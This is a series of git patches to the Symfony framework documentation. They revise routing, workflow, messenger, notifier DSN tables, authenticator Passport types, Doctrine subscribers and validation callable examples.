From: authentictech <authentictech@users.noreply.github.com>
Date: Sat, 31 Jul 2021 23:00:32 +0100
Subject: [PATCH 1039/5766] Update routing.rst

Just adding the ? character to the route parameter without also adding ? to the function parameter type results in a TypeError: "Argument 1 passed to App\Controller\BlogController::list() must be of the type integer, null given"
---
 routing.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index ec39d1f8e00..dd6478ac539 100644
--- a/routing.rst
+++ b/routing.rst
@@ -815,7 +815,8 @@ parameter:
 .. tip::
 
     To give a ``null`` default value to any parameter, add nothing after the
-    ``?`` character (e.g. ``/blog/{page?}``).
+    ``?`` character (e.g. ``/blog/{page?}``). Also, remember to add the
+    ``?`` character before the function parameter type to make it permit null values (e.g. ``?int``) 
 
 Parameter Conversion
 ~~~~~~~~~~~~~~~~~~~~

From 6124a80798a07e1f9b4f1003f62348f720cfacd1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Aug 2021 12:59:03 +0200
Subject: [PATCH 1040/5766] Reword

---
 routing.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index dd6478ac539..7a89dde0234 100644
--- a/routing.rst
+++ b/routing.rst
@@ -815,8 +815,9 @@ parameter:
 .. tip::
 
     To give a ``null`` default value to any parameter, add nothing after the
-    ``?`` character (e.g. ``/blog/{page?}``). Also, remember to add the
-    ``?`` character before the function parameter type to make it permit null values (e.g. ``?int``) 
+    ``?`` character (e.g. ``/blog/{page?}``). If you do this, don't forget to
+    update the types of the related controller arguments to allow passing
+    ``null`` values (e.g. replace ``int $page`` by ``?int $page``).
 
 Parameter Conversion
 ~~~~~~~~~~~~~~~~~~~~

From f941de44bfb810b92580422cdd5af70a2c3e9106 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Mon, 2 Aug 2021 21:46:42 +0200
Subject: [PATCH 1041/5766] Small fixes in naming

---
 security/securing_services.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/securing_services.rst b/security/securing_services.rst
index 015d2a76400..12b4cab6bf9 100644
--- a/security/securing_services.rst
+++ b/security/securing_services.rst
@@ -14,7 +14,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
 
 .. code-block:: diff
 
-      // src/Newsletter/NewsletterManager.php
+      // src/SalesReport/SalesReportManager.php
 
       // ...
       use Symfony\Component\Security\Core\Exception\AccessDeniedException;
@@ -29,7 +29,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
     +         $this->security = $security;
     +     }
 
-          public function sendNewsletter()
+          public function generateReport()
           {
               $salesData = [];
 

From f66a0b3098a96becc0e8d38c1ad2d9d04d0e1fd2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 3 Aug 2021 18:07:04 +0200
Subject: [PATCH 1042/5766] [Workflow] Document marking::getContext()

---
 workflow.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 1d70f38b0d6..97880c16d13 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -446,6 +446,17 @@ workflow leaves a place::
         }
     }
 
+.. versionadded:: 5.4
+
+    Getting the up-to-date context was introduced in Symfony 5.4.
+
+If some listeners update the context during a transition, you can retrieve it via the marking::
+
+    $marking = $workflow->apply($post, 'to_review');
+
+    // Contains the new value
+    $marking->getContext();
+
 .. _workflow-usage-guard-events:
 
 Guard Events

From 0380688cd40f057873014469210c3ecf934e88c4 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Mon, 2 Aug 2021 21:54:09 +0200
Subject: [PATCH 1043/5766] [Security] Small improvement

---
 security/expressions.rst | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index a74fbb58eaf..3c3aa6e0795 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -12,16 +12,23 @@ Security: Complex Access Controls with Expressions
 In addition to a role like ``ROLE_ADMIN``, the ``isGranted()`` method also
 accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
 
+    // src/Controller/MyController.php
+    namespace App\Controller;
+    
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\ExpressionLanguage\Expression;
-    // ...
+    use Symfony\Component\HttpFoundation\Response;
 
-    public function index(): Response
+    class MyController extends AbstractController
     {
-        $this->denyAccessUnlessGranted(new Expression(
-            '"ROLE_ADMIN" in roles or (not is_anonymous() and user.isSuperAdmin())'
-        ));
+        public function index(): Response
+        {
+            $this->denyAccessUnlessGranted(new Expression(
+                '"ROLE_ADMIN" in roles or (not is_anonymous() and user.isSuperAdmin())'
+            ));
 
-        // ...
+            // ...
+        }
     }
 
 In this example, if the current user has ``ROLE_ADMIN`` or if the current

From 0e1c690ed8c77831548d9fcd2031e40d2773f10c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:22:38 +0200
Subject: [PATCH 1044/5766] Minor

---
 workflow.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 97880c16d13..b4370a1714d 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -446,17 +446,18 @@ workflow leaves a place::
         }
     }
 
-.. versionadded:: 5.4
-
-    Getting the up-to-date context was introduced in Symfony 5.4.
-
-If some listeners update the context during a transition, you can retrieve it via the marking::
+If some listeners update the context during a transition, you can retrieve
+it via the marking::
 
     $marking = $workflow->apply($post, 'to_review');
 
-    // Contains the new value
+    // contains the new value
     $marking->getContext();
 
+.. versionadded:: 5.4
+
+    The ability to get the new value from the marking was introduced in Symfony 5.4.
+
 .. _workflow-usage-guard-events:
 
 Guard Events

From 885e42d4fa5f734c1efa5c4ab3ed8f375d433379 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 3 Aug 2021 18:01:49 +0200
Subject: [PATCH 1045/5766] [Messenger] Document StopWorkerException

---
 messenger.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index eb83a48903a..635b336f771 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -461,6 +461,17 @@ The first argument is the receiver's name (or service id if you routed to a
 custom service). By default, the command will run forever: looking for new messages
 on your transport and handling them. This command is called your "worker".
 
+.. tip::
+
+    To properly stop a worker, throw an instance of
+    :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`.
+
+    .. versionadded:: 5.4
+
+        The :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`
+        class was introduced in Symfony 5.4.
+
+
 Deploying to Production
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From a2c89c7b12cc6bcbfa5959fabb14b664db7733e8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:28:15 +0200
Subject: [PATCH 1046/5766] Remove versionadded directive

---
 mailer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 00b5c3b9f96..9d9361d2a60 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -173,10 +173,6 @@ party provider:
     you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
     a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
 
-    .. versionadded:: 5.4
-        
-        The ``ping_threshold`` option for ``ses-smtp`` was introduced in Symfony 5.4.
-
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an

From eb7d6a6108ea7afca36ddf8e180a2b4614a00fa6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:28:21 +0200
Subject: [PATCH 1047/5766] Remove versionadded directive

---
 messenger.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index b1ce8bead66..d15b7f1d8be 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -466,11 +466,6 @@ on your transport and handling them. This command is called your "worker".
     To properly stop a worker, throw an instance of
     :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`.
 
-    .. versionadded:: 5.4
-
-        The :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`
-        class was introduced in Symfony 5.4.
-
 
 Deploying to Production
 ~~~~~~~~~~~~~~~~~~~~~~~

From 1632ef3d4b743ca82fec698513f9717b458396ef Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:28:25 +0200
Subject: [PATCH 1048/5766] Remove versionadded directive

---
 workflow.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 141b7b680d4..eeb9963392e 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -448,10 +448,6 @@ it via the marking::
     // contains the new value
     $marking->getContext();
 
-.. versionadded:: 5.4
-
-    The ability to get the new value from the marking was introduced in Symfony 5.4.
-
 .. _workflow-usage-guard-events:
 
 Guard Events

From 93b3afd8762c09d1247560a08dbf4c3dfe59ec4a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:29:07 +0200
Subject: [PATCH 1049/5766] Minor

---
 messenger.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 635b336f771..6a2fca76fb4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -471,7 +471,6 @@ on your transport and handling them. This command is called your "worker".
         The :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`
         class was introduced in Symfony 5.4.
 
-
 Deploying to Production
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From d1c83714af6f349984438db1fb6c990cb629c1c3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:35:55 +0200
Subject: [PATCH 1050/5766] [Notifier] Mailjet

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 46e83d17d0a..72c809be320 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -66,6 +66,7 @@ GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@defau
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
 MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
 MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
@@ -98,7 +99,8 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns and Telnyx integrations were introduced in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx and Mailjet integrations were introduced
+    in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 10cced47efd98e10a1fe703bbbfc312d38171341 Mon Sep 17 00:00:00 2001
From: Artem Henvald <genvaldartem@gmail.com>
Date: Wed, 2 Jun 2021 18:10:08 +0300
Subject: [PATCH 1051/5766] Add TurboSms notifier

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 72c809be320..80ce1327d7a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -80,6 +80,7 @@ SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
 SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
 Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
 Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
@@ -99,7 +100,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx and Mailjet integrations were introduced
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms and Mailjet integrations were introduced
     in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 450528c8c1b48e8085b3237acc2878921c35deee Mon Sep 17 00:00:00 2001
From: Rafael Gil <rafaelgil83@gmail.com>
Date: Thu, 5 Aug 2021 04:30:19 -0400
Subject: [PATCH 1052/5766] Update mercure.rst

fixed typo
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 2e863c3cadd..3abd5d478b1 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -97,7 +97,7 @@ and you can skip straight to the next section.
 Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
 and ``MERCURE_PUBLIC_URL`` env vars.
 Sometimes a different URL must be called by the Symfony app (usually to publish),
-and the JavaScript client (usually to subscrribe). It's especially common when
+and the JavaScript client (usually to subscribe). It's especially common when
 the Symfony app must use a local URL and the client-side JavaScript code a public one.
 In this case, ``MERCURE_URL`` must contain the local URL that will be used by the
 Symfony app (e.g. ``https://mercure/.well-known/mercure``), and ``MERCURE_PUBLIC_URL``

From 2d3a0b24c3c205ba4dcb9d33ca4e569b5509c79e Mon Sep 17 00:00:00 2001
From: Robin Chalas <robin.chalas@gmail.com>
Date: Fri, 6 Aug 2021 13:42:16 +0200
Subject: [PATCH 1053/5766] Replace deprecated `PassportInterface` occurrences
 by `Passport`

---
 security/authenticator_manager.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/security/authenticator_manager.rst b/security/authenticator_manager.rst
index 58b1a2baf5d..e4ed90814b5 100644
--- a/security/authenticator_manager.rst
+++ b/security/authenticator_manager.rst
@@ -300,7 +300,7 @@ method that fits most use-cases::
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
     use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
     use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport;
 
     class ApiKeyAuthenticator extends AbstractAuthenticator
@@ -315,7 +315,7 @@ method that fits most use-cases::
             return $request->headers->has('X-AUTH-TOKEN');
         }
 
-        public function authenticate(Request $request): PassportInterface
+        public function authenticate(Request $request): Passport
         {
             $apiToken = $request->headers->get('X-AUTH-TOKEN');
             if (null === $apiToken) {
@@ -474,7 +474,7 @@ using :ref:`the user provider <security-user-providers>`::
                 $this->userRepository = $userRepository;
             }
 
-            public function authenticate(Request $request): PassportInterface
+            public function authenticate(Request $request): Passport
             {
                 // ...
 
@@ -570,11 +570,11 @@ would initialize the passport like this::
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
-    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
 
     class LoginAuthenticator extends AbstractAuthenticator
     {
-        public function authenticate(Request $request): PassportInterface
+        public function authenticate(Request $request): Passport
         {
             $password = $request->request->get('password');
             $username = $request->request->get('username');
@@ -604,7 +604,7 @@ would initialize the passport like this::
         {
             // ...
 
-            public function authenticate(Request $request): PassportInterface
+            public function authenticate(Request $request): Passport
             {
                 // ... process the request
 
@@ -616,7 +616,7 @@ would initialize the passport like this::
                 return $passport;
             }
 
-            public function createAuthenticatedToken(PassportInterface $passport, string $firewallName): TokenInterface
+            public function createAuthenticatedToken(Passport $passport, string $firewallName): TokenInterface
             {
                 // read the attribute value
                 return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));

From ad68f23ea0c9a1bce9e84fa13dbf95f00e2212eb Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Fri, 6 Aug 2021 16:48:34 +0200
Subject: [PATCH 1054/5766] Document fake sms logger notifier

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 80ce1327d7a..99167e4b07e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -60,7 +60,7 @@ AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM``
+FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
 FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
@@ -95,12 +95,12 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms (email), LightSms, SmsBiuras
     and MessageBird integrations were introduced in Symfony 5.3.
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms and Mailjet integrations were introduced
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet and FakeSms (logger) integrations were introduced
     in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 4e5845b909b4e1496bcdfb9edb10ea9da53d4867 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Fri, 6 Aug 2021 16:56:23 +0200
Subject: [PATCH 1055/5766] Document fake chat logger notifier

---
 notifier.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 80ce1327d7a..ff7e921e94d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -163,12 +163,12 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==============  ====================================  ===========================================================================
+==============  ====================================  =============================================================================
 Service         Package                               DSN
-==============  ====================================  ===========================================================================
+==============  ====================================  =============================================================================
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
-FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM``
+FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
 Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
 Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
@@ -180,7 +180,7 @@ RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPO
 Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
 Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-==============  ====================================  ===========================================================================
+==============  ====================================  =============================================================================
 
 .. versionadded:: 5.1
 
@@ -195,11 +195,11 @@ Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST
 
 .. versionadded:: 5.3
 
-    The Gitter, Mercure, FakeChat and Microsoft Teams integrations were introduced in Symfony 5.3.
+    The Gitter, Mercure, FakeChat (email) and Microsoft Teams integrations were introduced in Symfony 5.3.
 
 .. versionadded:: 5.4
 
-    The AmazonSns integration was introduced in Symfony 5.4.
+    The AmazonSns and FakeChat (logger) integrations were introduced in Symfony 5.4.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 4a3fe3a14de1717815b40661630a88a76a1e6352 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 7 Aug 2021 09:04:30 +0200
Subject: [PATCH 1056/5766] minor

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 397ffbe6da2..e124ec59f5b 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -100,8 +100,8 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet and FakeSms (logger) integrations were introduced
-    in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet and FakeSms (logger) integrations
+    were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From e8b3b04d2ac3d59966902e8ea50a57d4168aa8b2 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Sat, 7 Aug 2021 21:05:20 +0200
Subject: [PATCH 1057/5766] Add note about EventSubscriberInterface introduced
 in DoctrineBundle 2.1

---
 doctrine/events.rst | 50 +++++++++------------------------------------
 1 file changed, 10 insertions(+), 40 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 8acde6359ed..25c04f69bd5 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -357,11 +357,11 @@ want to log all the database activity. To do so, define a subscriber for the
     namespace App\EventListener;
 
     use App\Entity\Product;
-    use Doctrine\Common\EventSubscriber;
+    use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
     use Doctrine\ORM\Events;
     use Doctrine\Persistence\Event\LifecycleEventArgs;
 
-    class DatabaseActivitySubscriber implements EventSubscriber
+    class DatabaseActivitySubscriber implements EventSubscriberInterface
     {
         // this method can only return the event names; you cannot define a
         // custom method name to execute when each event triggers
@@ -406,45 +406,15 @@ want to log all the database activity. To do so, define a subscriber for the
         }
     }
 
-The next step is to enable the Doctrine subscriber in the Symfony application by
-creating a new service for it and :doc:`tagging it </service_container/tags>`
-with the ``doctrine.event_subscriber`` tag:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            App\EventListener\DatabaseActivitySubscriber:
-                tags:
-                    - { name: 'doctrine.event_subscriber' }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine">
-            <services>
-                <!-- ... -->
-
-                <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\EventListener\DatabaseActivitySubscriber;
+.. note::
 
-        $container->autowire(DatabaseActivitySubscriber::class)
-            ->addTag('doctrine.event_subscriber')
-        ;
+    ``Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface``
+    is a marker interface extending ``Doctrine\Common\EventSubscriber`` and was
+    introduced in DoctrineBundle 2.1.
+    Subscribers implementing this interface will be enabled automatically in the
+    Symfony application.
+    In older versions of DoctrineBundle, the service had to be added manually
+    and tagged with the ``doctrine.event_subscriber`` tag.
 
 If you need to associate the subscriber with a specific Doctrine connection, you
 can do it in the service configuration:

From 554fc7951e37819d59193345c231644674b76dbe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 Aug 2021 08:58:35 +0200
Subject: [PATCH 1058/5766] Fix method name

---
 security/authenticator_manager.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/authenticator_manager.rst b/security/authenticator_manager.rst
index e4ed90814b5..7b3d59316b3 100644
--- a/security/authenticator_manager.rst
+++ b/security/authenticator_manager.rst
@@ -616,7 +616,7 @@ would initialize the passport like this::
                 return $passport;
             }
 
-            public function createAuthenticatedToken(Passport $passport, string $firewallName): TokenInterface
+            public function createToken(Passport $passport, string $firewallName): TokenInterface
             {
                 // read the attribute value
                 return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));

From 6cc9f3843ceee47f8b7dd736dfaad528d04f7db8 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Sat, 7 Aug 2021 21:34:26 +0200
Subject: [PATCH 1059/5766] Describe validation callables

---
 components/console/helpers/questionhelper.rst | 16 +++++++++++++
 components/options_resolver.rst               | 15 ++++++++++++
 validation.rst                                | 24 +++++++++++++++++++
 3 files changed, 55 insertions(+)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 96ed044d0bc..929d7709dac 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -397,6 +397,22 @@ If you reach this max number it will use the default value. Using ``null`` means
 the amount of attempts is infinite. The user will be asked as long as they provide an
 invalid answer and will only be able to proceed if their input is valid.
 
+.. tip::
+
+    You can even use the :doc:`Validator </validation>` component to
+    validate the input by using the :method:`Symfony\\Component\\Validator\\Validation::createCallable`
+    method::
+
+        use Symfony\Component\Validator\Constraints\Regex;
+        use Symfony\Component\Validator\Validation;
+
+        $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
+        $validation = Validation::createCallable(new Regex([
+            'pattern' => '/^[a-zA-Z]+Bundle$',
+            'message' => 'The name of the bundle should be suffixed with \'Bundle\'',
+        ]));
+        $question->setValidator($validation);
+
 Validating a Hidden Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 5b32a612a51..bb178942050 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -376,6 +376,21 @@ returns ``true`` for acceptable values and ``false`` for invalid values::
         // return true or false
     });
 
+.. tip::
+
+    You can even use the :doc:`Validator </validation>` component to validate the
+    input by using the :method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
+    method::
+
+        use Symfony\Component\OptionsResolver\OptionsResolver;
+        use Symfony\Component\Validator\Constraints\Length;
+        use Symfony\Component\Validator\Validation;
+
+        // ...
+        $resolver->setAllowedValues('transport', Validation::createValidCallable(
+            new Length(['min' => 10 ])
+        ));
+
 In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedValues`
 to add additional allowed values without erasing the ones already set.
 
diff --git a/validation.rst b/validation.rst
index 0f349f5a38e..d258775268e 100644
--- a/validation.rst
+++ b/validation.rst
@@ -230,6 +230,30 @@ Inside the template, you can output the list of errors exactly as needed:
     Each validation error (called a "constraint violation"), is represented by
     a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
 
+.. index::
+   single: Validation; Callables
+
+Validation Callables
+~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    ``Validation::createCallable()`` was introduced in Symfony 5.1.
+
+.. versionadded:: 5.3
+
+    ``Validation::createValidCallable()`` was introduced in Symfony 5.3.
+
+The ``Validation`` also allows you to create a closure to validate values
+against a set of constraints (e.g. in :doc:`Console </components/console/helpers/questionhelper>`
+or :doc:`OptionsResolver </components/options_resolver>`):
+
+:method:`Symfony\\Component\\Validator\\Validation::createCallable`
+    This returns a closure that throws ``ValidationFailedException`` when the
+    constraints aren't matched.
+:method:`Symfony\\Component\\Validator\\Validation::createValidCallable`
+    This returns a closure that returns ``false`` when the constraints aren't matched.
+
 .. index::
